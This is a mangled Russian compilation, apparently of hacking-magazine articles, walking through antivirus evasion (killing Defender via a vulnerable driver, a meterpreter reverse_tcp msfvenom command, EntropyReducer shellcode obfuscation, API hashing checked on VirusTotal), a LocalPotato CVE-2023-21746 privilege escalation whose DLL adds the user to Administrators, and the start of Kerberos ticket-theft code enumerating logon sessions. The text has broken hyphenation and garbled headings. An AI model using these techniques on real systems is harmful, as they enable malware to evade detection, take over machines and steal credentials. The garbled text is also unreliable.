Прог рамма написа на на Nim, давай ском пилиру ем ее на Linux:

nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.
linkerexe:x86_64-w64-mingw32-gcc c NimBlackout.nim 

На выходе получи ли PE, в который нуж но передать про цесс с анти виру сом.
Да лее надо уста новить уяз вимый драй вер в ОС и запус тить наш исполня- 

емый файл.

Ус танов ка драй вера и запуск .exe

Эта ата ка нацеле на на Microsoft Defender. Одна ко тут есть одно но: вер сия
GMER из это го PoC может не сра ботать на Windows 11 и пос ледних вер сиях
Windows 10. Более того, для запус ка нам нуж но иметь при виле гии локаль ного
адми нис тра тора.

EntropyReducer
Как ты, воз можно, зна ешь, энтро пия — это сте пень слу чай нос ти в задан ном
наборе дан ных. Сущес тву ют раз ные спо собы изме рять энтро пию, в нашем
кон тек сте под этим тер мином мы будем под разуме вать энтро пию Шен нона,
которая дает зна чение от 0 до 8. С уве личе нием уров ня слу чай нос ти в наборе
дан ных уве личи вает ся и зна чение энтро пии.

Дво ичные фай лы вре донос ного ПО зачас тую име ют более высокую энтро- 
пию, чем обыч ные фай лы. Высокая энтро пия — явный показа тель сжа тых,
зашиф рован ных или упа кован ных дан ных, которые исполь зуют ся вре донос- 
ными прог рамма ми для скры тия сиг натур.

Для при мера пос чита ем энтро пию от обыч ного meterpreter/reverse_tcp.
Сна чала сге нери руем файл:

 raw 
msfvenom -p windows/meterpreter/reverse_tcp LHOST = eth0 LPORT = 
4444 -f -o entropy.bin 

Для под сче та энтро пии мы будем исполь зовать PeStudio.

Под счет энтро пии фай ла entropy.bin

Ре зуль тат неуте шитель ный — 6,265, и, как мы видим, PeStudio сра зу может
пре дос тавить информа цию о том, какие анти виру сы клас сифици рова ли .bin
как вре донос ный файл.

Ес ли чис ло бли зит ся к 8, зна чит, с огромной веро ятностью файл вре- 
донос ный. Это отме чено в  ниже.гис тограм ме

Гис тограм ма энтро пии фай лов

Как нам сни зить это зна чение? Тут поможет инс тру мент .EntropyReducer
EntropyReducer сна чала про веря ет, кра тен ли раз мер полез ной наг рузки

 (эта перемен ная ука зыва ет на количес тво бай тов в полез ной наг- 

рузке, пос ле которых будут добав лены пус тые бай ты, ). Если нет,

он уве личи вает его до необ ходимо го зна чения.

BUFF_SIZE
NULL_BYTES

// This will represent the seraizlized size of one node
#define SERIALIZED_SIZE (BUFF_SIZE + NULL_BYTES + sizeof(INT)
// Serialized payload size: SERIALIZED_SIZE * (number of nodes)
// Number of nodes: (padded payload size) / BUFF_SIZE

За тем он берет каж дый блок  из полез ной наг рузки и соз дает

для него узел связ ного спис ка с помощью фун кции .

BUFF_SIZE
InitializePayloadList

       
   

BOOL InitializePayloadList(IN PBYTE pPayload, IN OUT PSIZE_T
sPayloadSize, OUT PLINKED_LIST* ppLinkedList);

       
   

PLINKED_LIST InsertAtTheEnd(IN OUT PLINKED_LIST LinkedList, IN PBYTE
pBuffer, IN INT ID);

     VOID MergeSort(PLINKED_LIST* top, enum SORT_TYPE eType)

У соз данно го узла пус той буфер раз мером . Этот буфер будет

при менять ся для сни жения энтро пии.

NULL_BYTES

За тем EntropyReducer про дол жает слу чай ным обра зом менять порядок
каж дого узла в связ ном спис ке, нарушая порядок исходной полез ной наг- 
рузки. Этот шаг выпол няет ся с помощью алго рит ма сор тиров ки сли янием,
который реали зован в фун кции .MergeSort

  case SORT_BY_BUFFER: {
       

 
iValue1 = (int)(top1->pBuffer[0] ^ top1->pBuffer[1] ^ top1->pBuffer

[2]); // calculating a value from the payload buffer chunk
       

 
iValue2 = (int)(top2->pBuffer[0] ^ top2->pBuffer[1] ^ top2->pBuffer

[2]); // calculating a value from the payload buffer chunk
 break;
}

От сорти рован ный связ ный спи сок хра нит ся в слу чай ном поряд ке, потому что
зна чение, по которо му он сор тиру ется, — это зна чение XOR пер вых трех бай- 
тов исходной полез ной наг рузки. Имен но оно опре деля ет позицию в реор- 
ганизо ван ном связ ном спис ке.

        
     

BOOL Obfuscate(IN PBYTE PayloadBuffer, IN SIZE_T PayloadSize, OUT
PBYTE* ObfuscatedBuffer, OUT PSIZE_T ObfuscatedSize) {

   PLINKED_LIST pLinkedList = NULL;
  *ObfuscatedSize = PayloadSize;

// Convert the payload to a linked list
   if (!InitializePayloadList(PayloadBuffer, ObfuscatedSize, &

pLinkedList))
 return 0;

// ObfuscatedSize now is the size of the serialized linked list
// pLinkedList is the head of the linked list
// Randomize the linked list (sorted by the value of 'Buffer[0] ^ 
Buffer[1] ^ Buffer[3]')

 MergeSort(&pLinkedList, SORT_BY_BUFFER);

// printf("---------------------------\n\n");
// PrintList(pLinkedList);
// printf("---------------------------\n\n");

   PLINKED_LIST pTmpHead = pLinkedList;
   SIZE_T BufferSize = NULL;
    PBYTE BufferBytes = (PBYTE)LocalAlloc(LPTR, SERIALIZED_SIZE);

// Serailize the linked list
    while (pTmpHead != NULL) {

 // This buffer will keep data of each node
       BYTE TmpBuffer [SERIALIZED_SIZE] = { 0 };
 // Copying the payload buffer
   memcpy(TmpBuffer, pTmpHead->pBuffer, BUFF_SIZE);
 // No need to copy the 'Null' element, cz its NULL already
 // Copying the ID value
       memcpy((TmpBuffer + BUFF_SIZE + NULL_BYTES), &pTmpHead->ID, sizeof(
int));
 // Reallocating and moving 'TmpBuffer' to the final buffer
   BufferSize += SERIALIZED_SIZE;
     if (BufferBytes != NULL) {
       

  
BufferBytes = (PBYTE)LocalReAlloc(BufferBytes, BufferSize,

LMEM_MOVEABLE | LMEM_ZEROINIT);
        

 
memcpy((PVOID)(BufferBytes + (BufferSize - SERIALIZED_SIZE)),

TmpBuffer, SERIALIZED_SIZE);
 }
 // Next node
   pTmpHead = pTmpHead->Next;
}

// 'BufferBytes' is the serailized buffer
  *ObfuscatedBuffer = BufferBytes;

       if (*ObfuscatedBuffer != NULL && *ObfuscatedSize > PayloadSize)
  return 1;
else
  return 0;
}

Пос коль ку сох ранение спис ка в фай ле невоз можно из-за того, что он уже
свя зан ука зате лями, при ходит ся делать сери али зацию с помощью фун кции

. Пос ле это го выпол няет ся запись в .Obfuscate output_file
Вот что выда ет VirusTotal при ана лизе.

Ре зуль таты про вер ки на VirusTotal

Те перь модифи циру ем файл через EntropyReducer.

За пуск EntropyReducer

Продолжение статьи →

mailto:deadunii@yandex.ru
https://github.com/Helixo32/NimBlackout
https://practicalsecurityanalytics.com/file-entropy/
https://github.com/Maldev-Academy/EntropyReducer
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Те перь обна руже ние зна читель но ниже.

Под счет энтро пии фай ла

Ре зуль таты про вер ки на VirusTotal

Вот так выг лядит изме нен ный шелл-код с умень шен ной энтро пией:

  unsignedcharentropy_bin_ER[] = {
           0x68, 0xc0, 0xa8, 0x8d, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x01, 0x00,

0x00,
           0x29, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x04, 0x56, 0x57, 0x68, 0x00,

0x3d,
...

           0x00, 0x00, 0x00, 0x8b, 0x58, 0x24, 0x01, 0x00, 0x1b, 0x00, 0x00,
0x00,

        0xbb, 0xf0, 0xb5, 0xa2, 0x00, 0x56, 0x00, 0x00, 0x00};
    unsigned int entropy_bin_ER_len = 801;

Этот код мы можем ском пилиро вать в .exe. Пос ле чего уже не сос тавит тру да
запус тить его, как обыч ный исполня емый файл.

ÏÐÈÌÅÍßÅÌ API HASHING

API Hashing — это тех ника, которую раз работ чики вре донос ного ПО при меня- 
ют, что бы скрыть подоз ритель ные вызовы Windows API от таб лицы импорта
адре сов пор татив ного исполня емо го фай ла (PE). Это зат рудня ет ана лиз, пос- 
коль ку ста новит ся слож нее опре делить, какие фун кции вызыва ются.

Êàê ýòî ðàáîòàåò?

Проб лема для раз работ чиков вре донос ного ПО: если есть PE с непов- 
режден ной IAT (Import Address Table), лег ко понять, каковы воз можнос ти PE.
Нап ример, если вид но, что дво ичный файл заг ружа ет , мож но

пред положить, что он име ет сетевые воз можнос ти.

Ws2_32.dll

Что бы усложнить пер воначаль ный ана лиз PE, вирусо писа тели скры вают
подоз ритель ные вызовы API от IAT с помощью API-хеширо вания. Таким обра- 
зом, ког да ана литик запус тит вре донос ный дво ичный файл через ути литу
strings или откро ет его в PE-пар сере, подоз ритель ные Windows API будут
скры ты.

Ïðèìåð îáõîäà

Пред положим, у нас есть вре донос ное ПО, которое исполь зует фун кцию
. Если мы ском пилиру ем код и про ана лизи руем его с помощью

PE-пар сера, уви дим, что  — одна из импорти рован ных фун- 

кций. Одна ко если мы при меним тех нику API Hashing, то 

исчезнет из IAT.

CreateThread
CreateThread

CreateThread

Для это го раз работ чики вре донос ного ПО могут исполь зовать сле дующий
под ход:
1. Соз дает ся хеш-фун кция, которая при нима ет имя фун кции (нап ример,

) и воз вра щает уни каль ное хеш-зна чение.CreateThread

2. Вре донос ное ПО во вре мя выпол нения переби рает все экспор тирован- 
ные фун кции из биб лиоте ки (нап ример, ), вычис ляет их
хеши и срав нива ет с хешем .

kernel32.dll

CreateThread

3. Как толь ко хеш сов пада ет, вре донос ное ПО получа ет адрес фун кции
и может выз вать ее нап рямую, минуя IAT.

Рас смот рим под робнее. Как мы дол жны получить хеш от вызова API?
У нас есть при мер алго рит ма хеширо вания, который может пре обра зовать

любую фун кцию в хеш:

$APIsToHash = @("VirtualAlloc")
$APIsToHash | % {
$api = $_
$hash = 0x35
[int]$i = 0
$api.ToCharArray() | % {
 $l = $_
 $c = [int64]$l
 $c = '0x{0:x}' -f $c
 $hash += $hash * 0xab10f29f + $c -band 0xffffff
 $hashHex = '0x{0:x}' -f $hash
 $i++
 write-host "Iteration $i : $l : $c : $hashHex"
}
write-host "$api`t $('0x00{0:x}' -f $hash)"

}

За осно ву для хеширо вания мы взя ли фун кцию . Она поз воля ет

зарезер вировать опре делен ный объ ем памяти.

VirtualAlloc

Пре обра зова ние фун кции в хеш

Проб лема толь ко в том, что шелл Meterpreter дела ет вызов ко мно жес тву API,
вклю чая , ,  и . И это

далеко не пол ный спи сок. Что же нам делать? Здесь помога ет 
. Этот скрипт вычис ляет хеши для огромно го мно жес тва

API и заменя ет их наз вания в шелл-коде. Давай уста новим его на Kali Linux
и пос мотрим, как он работа ет.

ExitProcess LoadLibraryA VirtualAlloc VirtualFree
Randomise-api-

hashes-cobalt-strike

Кло ниру ем репози торий.

Кло ниро вание репози тория

Ге нери руем шелл-код в сыром виде и записы ваем в файл с рас ширени ем
.bin.

Инс тру мент при нима ет на вход толь ко .bin!

Ге нера ция шелл-кода

И наконец, напус тим инс тру мент на le.bin.

За пуск инс тру мен та Randomise-api-hashes-cobalt-strike

За метил циф ру 64 пос ле наз вания скрип та? Это мы про писы ваем архи тек- 
туру. Раз ная раз рядность — раз ные вызовы API. Пос ле отра бот ки мы получа- 
ем файл . Если понадо бит ся получить шелл-код в сыром

виде (С-code), то вновь исполь зуем .

file.bin_0xf9.bin
xxd

По луче ние шелл-кода в С-code

А что по обна руже ниям?
VirusTotal дал 11 из 69.

Ре зуль таты про вер ки на VirusTotal

И решения из спис ка иссле дуемых не дали отри цатель ный резуль тат.

Ре зуль таты обна руже ния

Этот шелл-код уже мож но ском пилиро вать в .exe.

Шелл-код для ком пиляции

Под робнее о тех нике API Hashing читай в статье
«

».
Ве селые хеши. Реали зуем тех нику API Hashing,

что бы обду рить анти вирус

ÂÛÂÎÄÛ

Хо тя на сегод няшний день AV/EDR-решения исполь зуют для выяв ления ано- 
маль ных дей ствий самые передо вые тех нологии, вклю чая машин ное обу- 
чение, поведен ческую ана лити ку и про чее, они пока не ста ли панаце ей
от киберуг роз. Мы рас смот рели нес коль ко методов, некото рые из них пока
акту аль ны и поз воля ют обой ти анти вирус ные решения. Все это важ но учи- 
тывать сот рудни кам ком паний, отве чающих за защиту ресур сов и пре дот вра- 
щение реали зации киберуг роз.

https://github.com/embee-research/Randomise-api-hashes-cobalt-strike
https://xakep.ru/2023/10/06/api-hashing/
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В этой статье речь пой дет об уяз вимос ти,
поз воля ющей выпол нить локаль ное
повыше ние при виле гий (LPE) в опе раци- 
онных сис темах семей ства Windows. Баг
нап рямую свя зан с NTLM-аутен тифика цией,
поэто му сна чала погово рим о том, как она
устро ена, а потом перей дем непос редс- 
твен но к раз бору CVE-2023-21746.

NTLM-ÀÓÒÅÍÒÈÔÈÊÀÖÈß

Пред положим, поль зователь хочет получить дос туп к фай ловому ресур су
на дру гом компь юте ре или сер вере. Аутен тифика ция выпол няет ся в четыре
эта па:
1. Поль зователь отправ ляет сер веру зап рос с име нем учет ной записи.
2. В ответ сер вер отправ ляет ему слу чай ное чис ло, называ емое challenge.
3. Поль зователь шиф рует это чис ло сво им NT-хешем и отправ ляет обратно.
4. Сер вер извле кает из SAM (Security Account Manager — RPC-сер вер

Windows, опе риру ющий базой дан ных учет ных записей) хеш поль зовате ля
и про делы вает те же самые дей ствия, что и поль зователь, срав нивая
получен ные хеши. Если резуль таты сов пали, то аутен тифика ция счи тает ся
успешной.

ËÎÊÀËÜÍÀß ÀÓÒÅÍÒÈÔÈÊÀÖÈß NTLM

Рас смот рим локаль ную аутен тифика цию NTLM, которая начина ется с аутен- 
тифика ции поль зовате ля на самой машине.

Эта аутен тифика ция выпол няет ся сле дующим обра зом:
1. Поль зователь вво дит свои учет ные дан ные, логин и пароль, при вхо де

на машину.
2. Вве ден ные дан ные переда ются под систе ме локаль ной безопас ности LSA,

которая пре обра зует пароль в хеш.
3. Да лее LSA переда ет имя поль зовате ля SAM, который извле кает хеш ука- 

зан ного поль зовате ля.
4. LSA све ряет хеши, и если они сов пада ют, то поль зователь получа ет дос туп

к машине.

Да лее сра баты вает рас смот ренный выше механизм, осно ван ный на модели
кли ент — сер вер.

Ло каль ная аутен тифика ция NTLM — это час тный слу чай, она при меня ется,
ког да кли ент ская и сер верная час ти работа ют на одной машине.

Кли ент получа ет учет ные дан ные вошед шего в сис тему поль зовате ля
и соз дает зап рос, содер жащий имя рабочей стан ции и домена кли ента.

Со обще ние типа 1. Кли ент посыла ет это сооб щение для начала соеди нения.
Оно исполь зует ся для сог ласова ния парамет ров аутен тифика ции, как и рань- 
ше, но так же содер жит имя кли ент ской машины и ее домен. Сер вер может
про верить имя и домен кли ента, и, если они сов пада ют с его собс твен ными,
начина ется про цесс локаль ной аутен тифика ции.

Со обще ние типа 2. Сер вер соз дает кон текст безопас ности, вызывая фун- 
кцию , и в этом сооб щении отправ ляет кли- 

енту его иден тифика тор. Затем кли ент может исполь зовать иден тифика тор
кон тек ста безопас ности, что бы свя зать себя с соеди нени ем.

AcceptSecurityContext (NTLM)

Со обще ние 3-го типа. Кли ент получа ет токен и переда ет его
в . Если 

 воз вра щает , то вза имная аутен тифика ция завер шена

и мож но начинать защищен ный сеанс. Если же он воз вра щает код ошиб ки, то
перего воры о вза имной аутен тифика ции завер шают ся. В про тив ном слу чае
токен безопас ности, воз вра щен ный ,
отправ ляет ся кли енту и шаги 2 и 3 пов торя ются.

InitializeSecurityContext (NTLM) InitializeSecurityContext
(NTLM) SEC_E_OK

InitializeSecurityContext (NTLM)

ÊÀÊ ÐÀÁÎÒÀÅÒ LOCALPOTATO

LocalPotato исполь зует недос таток в механиз ме локаль ной аутен тифика ции
NTLM. Экс пло ит обма ныва ет при виле гиро ван ный про цесс и зас тавля ет
аутен тифици ровать сеанс, запущен ный хакером. В резуль тате ата кующий
получа ет соеди нение, пре дос тавля ющее ему дос туп к любым ресур сам
с при виле гиями обма нуто го про цес са.

«Кар тошка» работа ет сле дующим обра зом:
1. Ха кер запус кает при виле гиро ван ный про цесс для под клю чения к под кон- 

троль ному ему сер веру. В прин ципе, это работа ет ана логич но пре дыду- 
щим Potato, ког да неп ривиле гиро ван ный поль зователь зас тавлял ОС соз- 
давать соеди нения, исполь зующие пра ва SYSTEM.

2. Сер вер на машине соз даст кон текст безопас ности А для при виле гиро ван- 
ного соеди нения, но не будет отправ лять его сра зу. Хакер запус тит свой
кли ент, что бы он одновре мен но с локаль ным ини цииро вал соеди нение
с сер вером. Легитим ный кли ент отправ ляет сооб щение, что бы ини цииро- 
вать соеди нение, а сер вер в ответ пош лет сооб щение с иден тифика тором
нового кон тек ста безопас ности Б.

3. Зло умыш ленник так же запус кает свой сер вер и меня ет иден тифика торы
кон тек стов обо их соеди нений таким обра зом, что бы при виле гиро ван ный
про цесс получил кон текст соеди нения с сер вером зло умыш ленни ка, а не
со сво им собс твен ным. В резуль тате хакер смо жет получить дос туп
к любому сетево му ресур су с при виле гиями SYSTEM.

STORSVC È DLL HIJACKING

До сих пор мы исполь зовали LocalPotato для записи любых фай лов
на целевую машину. Что бы получить при виле гиро ван ную обо лоч ку, нам нуж но
выяс нить, как исполь зовать про изволь ную запись для выпол нения коман ды.

Не дав но был обна ружен еще один век тор повыше ния при виле гий, ког да
зло умыш ленник мог перех ватить отсутс тву ющую DLL для выпол нения про- 
изволь ных команд с при виле гиями SYSTEM. Единс твен ная проб лема это го
век тора зак лючалась в том, что для его запус ка зло умыш ленни ку необ ходимо
было записать DLL в сис темную перемен ную . По умол чанию в 

Windows вклю чают ся толь ко те катало ги, в которые могут писать лишь при- 
виле гиро ван ные учет ные записи. Хотя мож но най ти машины, на которых уста- 
нов ка опре делен ных при ложе ний изме нила перемен ную  и сде лала

машину уяз вимой, век тор ата ки при меним толь ко к кон крет ным сце нари ям.
Ком биниро вание дан ной ата ки с LocalPotato поз воля ет пре одо леть это огра- 
ниче ние и получить пол ностью рабочий экс пло ит для повыше ния при виле гий.

PATH PATH

PATH

Как выяс нила ком пания BlackArrow, зло умыш ленник может отпра вить RPC-
вызов методу , пре дос тавля емо му служ бой

, что, в свою оче редь, при ведет к попыт ке заг рузки отсутс тву ющей

DLL под наз вани ем .

SvcRebootToFlashingMode
StorSvc

SprintCSP.dll

Ес ли ты нез наком с RPC, то счи тай, что это API, который рас кры вает фун кции
для уда лен ного исполь зования. В опи сан ном слу чае служ ба  рас кры- 

вает метод , который может выз вать любой
человек, име ющий дос туп к машине.

StorSvc
SvcRebootToFlashingMode

Пос коль ку  работа ет с при виле гиями SYSTEM, соз дание

 где-нибудь в  при ведет к заг рузке биб лиоте ки при каж- 
дом вызове .

StorSvc
SprintCSP.dll PATH

SvcRebootToFlashingMode

ÊÎÌÏÈËßÖÈß ÝÊÑÏËÎÈÒÀ

Те перь, ког да мы зна ем всю теоре тичес кую базу, мы можем прис тупить
к выпол нению прак тичес кой час ти. Все необ ходимое для даль нейших дей- 
ствий мож но най ти в .ре пози тории на GitHub

Что бы вос поль зовать ся экс пло итом CVE-2023-21746, сна чала надо ском- 
пилиро вать два фай ла:

. Это недос тающая DLL, которую мы собира емся перех- 
ватить. Код по умол чанию, пос тавля емый с экс пло итом, выпол няет коман- 
ду  и выводит ответ в . Нам
нуж но изме нить коман ду, что бы дос тигнуть нашей цели;

• SprintCSP.dll

whoami C:\Program Data\whoamiall.txt

. Эта прог рамма запус тит RPC-вызов
. В зависи мос ти от вер сии Windows,

на которую нацелен экс пло ит, его код может пот ребовать ся нем ного под- 
пра вить, пос коль ку в раз ных вер сиях Windows исполь зуют ся раз ные иден- 
тифика торы интерфей сов для рас кры тия .

• RpcClient.exe

SvcRebootToFlashingMode

SvcRebootToFlashingMode

Для начала раз берем ся с фай лом . Как уже говори лось, нам

пот ребу ется изме нить экс пло ит в зависи мос ти от вер сии Windows на целевой
машине. Для это го нуж но отре дак тировать пер вые стро ки фай ла 

 так, что бы выбира- 

лась нуж ная опе раци онная сис тема. Пос коль ку моя машина работа ет
под управле нием Windows Server 2019, я отре дак тирую файл сле дующим
обра зом.

RpcClient.exe

C:\tools\
LPE via StorSvc\RpcClient\RpcClient\storsvc_c.c

Это нас тро ит экс пло ит на исполь зование кор рек тно го иден тифика тора
интерфей са RPC для моей вер сии Windows. Теперь, ког да код исправ лен,
ском пилиру ем необ ходимые нам инс тру мен ты.

Пе ред ком пиляци ей  нам нуж но изме нить фун кцию 

в фай ле  таким обра зом, что бы она добав ляла нашего
текуще го поль зовате ля в груп пу . Вот код с нашей заменен- 

ной коман дой:

SprintCSP.dll DoStuff()
SprintCSP\main.c

Administrators

  void DoStuff() {

   // Replace all this code by your payload
        STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
   CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net 
localgroup administrators user /add",

     
  

       NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\
Windows", &si, &pi);

   CloseHandle(pi.hProcess);
   CloseHandle(pi.hThread);

   return;
}

Те перь ском пилиру ем нашу DLL.

ÝÊÑÏËÓÀÒÀÖÈß

Для начала удос товерим ся, что наш поль зователь дей стви тель но не вхо дит
в груп пу локаль ных адми нис тра торов.

Для успешной экс плу ата ции  необ ходимо ско пиро вать 
 в любую дирек торию текущей . Про верить  мож но, выпол нив

сле дующую коман ду:

StorSvc SprintCSP.
dll PATH PATH

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\
Environment" -v Path 

Мы будем исполь зовать каталог , который рас ширя- 

ется до . Одна ко ты можешь исполь зовать любой
из этих двух катало гов.

%SystemRoot%\system32
C:\windows\system32

Те перь, ког да все готово, можем запус тить LocalPotato:

 LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll 

DLL успешно записа лась в ! Теперь мы можем запус тить

 для запус ка вызова , выпол нив

полез ную наг рузку в нашей DLL.

System32
RpcClient.exe SvcRebootToFlashingMode

Что бы удос товерить ся, что экс пло ит сра ботал, про верим, находит ся ли наш
поль зователь в груп пе адми нис тра торов.

ÂÛÂÎÄ

Пос ле успешно го сра баты вания экс пло ита мы можем выпол нить любые дей- 
ствия от лица адми нис тра тора под учет ной записью поль зовате ля . Нап- 

ример, запус тить коман дную стро ку.

user

Оп тималь ная защита от экс плу ата ции этой уяз вимос ти (как и дру гих подоб- 
ных) — сво евре мен но уста нав ливать обновле ния безопас ности Microsoft.
Тем не менее даже в этом слу чае некото рые про токо лы, исполь зующие NTLM
в качес тве метода аутен тифика ции, могут быть уяз вимы для подоб ных атак.

https://github.com/Muhammad-Ali007/LocalPotato_CVE-2023-21746
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Есть раз ные спо собы зло упот реблять сес- 
сией поль зовате ля на устрой стве: кра жа
учет ных дан ных, манипу ляции с токена ми
и дру гие. Но зна ешь ли ты, что мож но
сымити ровать получе ние TGT-билета поль- 
зовате лем через совер шенно легитим ные
фун кции Windows?

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

В этом году появи лось нес коль ко новых спо собов из такого раз ряда. Наибо- 
лее инте рес ные —  и . Пос ледний поз воля ет получать
тикеты залоги нен ного поль зовате ля, даже не зная его пароля! Давай раз- 
берем ся, как это работа ет, а парал лель но напишем реали зацию на C++,
которую я наз вал .

WTSImpersonator GIUDA

TGSThief

LOGON SESSION

При вхо де поль зовате ля в Windows появ ляет ся сес сия поль зовате ля, которая
хра нит все дан ные о нем. Для каж дого нового поль зовате ля соз дает ся новая
сес сия. Нап ример, если на компь юте ре одновре мен но работа ют два поль- 
зовате ля, то будет две сес сии.

Как выг лядят Logon Sessions

Каж дая сес сия опре деля ется с помощью LUID (locally unique identier).
Из наз вания понят но, что LUID уни кален для каж дой сес сии. Информа ция
хра нит ся в виде одно имен ной струк туры.

   typedef struct _LUID {
  ULONG LowPart;
   LONG HighPart;
  } LUID, *PLUID;

Сам LUID пред став лен в виде двух зна чений: ULONG и LONG. При чем обыч но
запол няет ся лишь поле , а  име ет зна чение 0.LowPart HighPart

Эта струк тура исполь зует ся во всех фун кци ях WinAPI, которые так или ина- 
че свя заны с сес сиями поль зовате ля.

С помощью  мож но получить LUID поль зовате ля.
Для это го фун кции сле дует передать токен про цес са, запущен ного от име ни
текуще го поль зовате ля.

GetTokenInformation()

#include <windows.h>
#include <iostream>
#include <sddl.h>

  int main() {
  HANDLE tokenHandle;

    
 

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &
tokenHandle)) {
         std::cerr << "Ошибка OpenProcessToken: " << GetLastError() << std
::endl;
    return 1;
 }

    DWORD tokenInformationLength = 0;
     GetTokenInformation(tokenHandle, TokenStatistics, nullptr, 0, &
tokenInformationLength);
     if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
       

  
std::cerr << "GetTokenInformation неудачный первый вызов: " <<

GetLastError() << std::endl;
   CloseHandle(tokenHandle);
    return 1;
 }

    
 

TOKEN_STATISTICS* tokenStats = reinterpret_cast<TOKEN_STATISTICS*>(
new BYTE[tokenInformationLength]);
     if (tokenStats == nullptr) {
       std::cerr << "Ошибка выделения памяти для TOKEN_STATISTICS" <<
std::endl;
   CloseHandle(tokenHandle);
    return 1;
 }

     
  

if (!GetTokenInformation(tokenHandle, TokenStatistics, tokenStats,
tokenInformationLength, &tokenInformationLength)) {
         std::cerr << "Ошибка GetTokenInformation: " << GetLastError() <<
std::endl;
    delete[] tokenStats;
   CloseHandle(tokenHandle);
    return 1;
 }

           
  

  

std::cout << "LUID: " << std::hex << "0x" << std::uppercase <<
tokenStats->AuthenticationId.LowPart << tokenStats->AuthenticationId.
HighPart << std::endl;

  delete[] tokenStats;
 CloseHandle(tokenHandle);

  return 0;
}

Ин форма ция о LUID поль зовате ля упа дет в поле  струк- 

туры .

AuthenticationId
TOKEN_STATISTICS

   typedef struct _TOKEN_STATISTICS {
 LUID             TokenId;
 LUID             AuthenticationId;
 LARGE_INTEGER        ExpirationTime;
 TOKEN_TYPE           TokenType;
  SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
 DWORD            DynamicCharged;
 DWORD            DynamicAvailable;
 DWORD            GroupCount;
 DWORD            PrivilegeCount;
 LUID             ModifiedId;
  } TOKEN_STATISTICS, *PTOKEN_STATISTICS;

Имен но на манипу ляци ях с LUID осно вана логика инс тру мен та GIUDA. Фак- 
тичес ки идет под мена LUID, что откры вает воз можность зап росить билет
от лица поль зовате ля, чья сес сия прос то при сутс тву ет на устрой стве. Свой
LUID мы получать научи лись, а как получать LUID дру гих поль зовате лей?

Ко неч но, можем перечис лить все про цес сы, зап росить токен каж дого про- 
цес са, извлечь LUID, но это неудоб но. Поэто му сле дует исполь зовать фун- 
кцию .LsaEnumerateLogonSessions()

 NTSTATUS LsaEnumerateLogonSessions(
   [out] PULONG LogonSessionCount,
    [out] PLUID *LogonSessionList
);

 — в этом парамет ре вер нется количес тво сес сий
в сис теме;

• LogonSessionCount

 — в этом парамет ре будет спи сок LUID сес сий
на сис теме.

• LogonSessionList

Вот при мер перечис ления всех сес сий в сис теме:

#include <windows.h>
#include <ntsecapi.h>
#include <iostream>
#include <locale.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

#pragma comment(lib, "Secur32.lib")

  int main() {
  setlocale(LC_ALL, "");
    ULONG logonSessionCount = 0;
    PLUID logonSessionList = nullptr;

     NTSTATUS status = LsaEnumerateLogonSessions(&logonSessionCount, &
logonSessionList);
     if (status != STATUS_SUCCESS) {
         std::cerr << "Ошибка LsaEnumerateLogonSessions: " << status <<
std::endl;
    return 1;
 }

     
  

std::cout << "Количество сеансов входа в систему: " <<
logonSessionCount << std::endl;
          for (ULONG i = 0; i < logonSessionCount; ++i) {
           std::cout << "Сеанс №" << i + 1 << std::endl;
             

    
std::cout << "LUID: " << std::hex << "0x" << std::uppercase <<

logonSessionList[i].LowPart << logonSessionList[i].HighPart << std::
endl;
     std::cout << std::endl;
 }

 LsaFreeReturnBuffer(logonSessionList);

  return 0;
}

Ре зуль тат выпол нения прог раммы

К сожале нию, из одно го LUID не очень понят но, что пред став ляет собой эта
сес сия. Хотелось бы получить хотя бы имя поль зовате ля. Для это го при меня- 
ется фун кция .LsaGetLogonSessionData()

 NTSTATUS LsaGetLogonSessionData(
   [in] PLUID            LogonId,
   [out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData
);

Фун кция при нима ет LUID, информа цию о котором нуж но получить, а воз вра- 
щает струк туру .SECURITY_LOGON_SESSION_DATA

   typedef struct _SECURITY_LOGON_SESSION_DATA {
 ULONG           Size;
 LUID            LogonId;
     LSA_UNICODE_STRING UserName;
     LSA_UNICODE_STRING LogonDomain;
     LSA_UNICODE_STRING AuthenticationPackage;
 ULONG           LogonType;
 ULONG           Session;
 PSID            Sid;
 LARGE_INTEGER       LogonTime;
     LSA_UNICODE_STRING LogonServer;
     LSA_UNICODE_STRING DnsDomainName;
     LSA_UNICODE_STRING Upn;
 ULONG           UserFlags;
  LSA_LAST_INTER_LOGON_INFO LastLogonInfo;
     LSA_UNICODE_STRING LogonScript;
     LSA_UNICODE_STRING ProfilePath;
     LSA_UNICODE_STRING HomeDirectory;
     LSA_UNICODE_STRING HomeDirectoryDrive;
 LARGE_INTEGER       LogoffTime;
 LARGE_INTEGER       KickOffTime;
 LARGE_INTEGER       PasswordLastSet;
 LARGE_INTEGER       PasswordCanChange;
 LARGE_INTEGER       PasswordMustChange;
  } SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;

В этой струк туре — мас са информа ции о поль зовате ле: имя юзе ра, пакет
аутен тифика ции, через который он про шел про вер ку, и его фла ги. Под робно
с опи сани ем каж дого эле мен та струк туры можешь озна комить ся в 

. Нас же будут инте ресо вать поля  и . Сле дующая
фун кция поз воля ет извлечь их, при нима ет толь ко LUID.

до кумен- 
тации LogonDomain UserName

  std::wstring GetUserNameFromLogonId(LUID LogonId)
{
    PSECURITY_LOGON_SESSION_DATA pSessionData = NULL;
      if (LsaGetLogonSessionData(&LogonId, &pSessionData) != 0) {
